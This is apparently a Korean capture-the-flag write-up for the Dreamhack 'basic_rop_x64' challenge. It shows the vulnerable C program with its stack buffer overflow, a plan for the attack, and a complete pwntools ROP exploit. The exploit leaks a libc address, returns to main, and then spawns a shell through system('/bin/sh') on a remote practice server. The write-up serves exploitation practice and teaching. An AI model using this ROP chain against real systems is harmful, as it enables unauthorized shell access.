#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}

카나리는 없고, NX만 적용되어 있다.
(1) system 함수와 /bin/sh가 코드 내에 없다. 주소를 구해야한다.
(2) read 함수 실행에 페이로드를 입력해서 스택 버퍼 오버플로우를일으킬 수 있다. 이번에는 ret2main 기법을 활용할 것이다.
최종 목표는 system("/bin/sh")을 실행하는 것이다.
익스플로잇 실행 시 예상 시나리오는 다음과 같다.
## 1. 실행
(1) read 함수에 페이로드 주입
(2) 버퍼오버플로우로 인한 rbp 이하의 스택 overwrite
## 2. write(0, read_got)
(3) pop rdi 수행
(4) pop rsi_r15 수행
(5) write plt 수행
## 3. system 함수, /bin/sh 위치 특정
(6) read 함수 주소를 통해 libc_base 산출
(7) 이어서 system 함수, /bin/sh 주소 산출
(8) ret main
## 4. 2번째 main
(9) 새로운 페이로드 주입(AAA...[pop rdi]["/bin/sh" 주소][ret system]
#
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
context.log_level="debug"
# p = process("./basic_rop_x64")
p = remote("host3.dreamhack.games",13180)
e = ELF("./basic_rop_x64")
r = ROP(e)
libc = ELF('libc.so.6')
read_plt = e.plt['read']
write_plt = e.plt['write']
read_got = e.got['read']
write_got = e.got['write']
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15','ret'])[0]
main = 0x4007ba
sh = list(libc.search(b"/bin/sh"))[0]
############페이로드 ####################################################
##[1] 첫 번째 페이로드 작성: read_got 주소 출력
payload = b""
payload += b"A"*0x40 + b"B"*0x8
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
payload += p64(main) ## main으로 돌아옴 write의 마지막이 ret이기 때문에 여기에 main 주소를 넣으면 됨
##[2] 페이로드 주입 및 read_got 주소 저장, system 함수 주소 산출
p.send(payload)
p.recvuntil(b"A"*0x40)
read = u64(p.recvn(6) + b'\x00'*2)
lib_base = read - libc.symbols['read']
system = lib_base + libc.symbols['system']
binsh = sh + lib_base
slog('read_got', read)
slog('lib_base', lib_base)
slog('system', system)
slog("/bin/sh", binsh)
###[3] main 시작으로 회귀. 새로운 페이로드 생성: system("/bin/sh")
payload = b"A"*0x40 + b"B"*0x8
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)
p.send(payload)
p.recvuntil(b"A"*0x40)
p.interactive()